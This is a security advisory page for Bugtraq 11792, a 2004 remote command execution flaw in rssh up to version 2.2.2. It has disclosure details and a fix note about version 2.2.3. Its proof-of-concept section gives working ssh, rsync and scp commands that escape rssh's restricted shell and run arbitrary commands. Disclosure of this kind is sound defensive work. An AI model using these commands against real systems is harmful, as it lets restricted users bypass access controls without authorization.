RSSH Remote Arbitrary Command Execution Vulnerability

BID:11792

Info

RSSH Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 11792
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 02 2004 12:00AM
Updated: Dec 02 2004 12:00AM
Credit: Discovery is credited to Jason Wies <[email protected]>.
Vulnerable: rssh rssh 2.2.2
rssh rssh 2.2.1
rssh rssh 2.2
rssh rssh 2.1
rssh rssh 2.0
Gentoo Linux
Not Vulnerable:

Discussion

RSSH Remote Arbitrary Command Execution Vulnerability

rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

All versions of rssh are considered vulnerable at the moment.

Exploit / POC

RSSH Remote Arbitrary Command Execution Vulnerability

The following proof of concept examples are available:

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'

scp command.sh restricteduser@remotehost:/tmp/command.sh

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'

Solution / Fix

RSSH Remote Arbitrary Command Execution Vulnerability

Solution:
Gentoo Linux has released advisory GLSA 200412-01 regarding this issue. Gentoo confirms that they are vulnerable to this issue, but they do not have fixes available at this time.

The vendor has released version 2.2.3 of rssh dealing with this issue.


rssh rssh 2.0

rssh rssh 2.1

rssh rssh 2.2

rssh rssh 2.2.1

rssh rssh 2.2.2

References

RSSH Remote Arbitrary Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report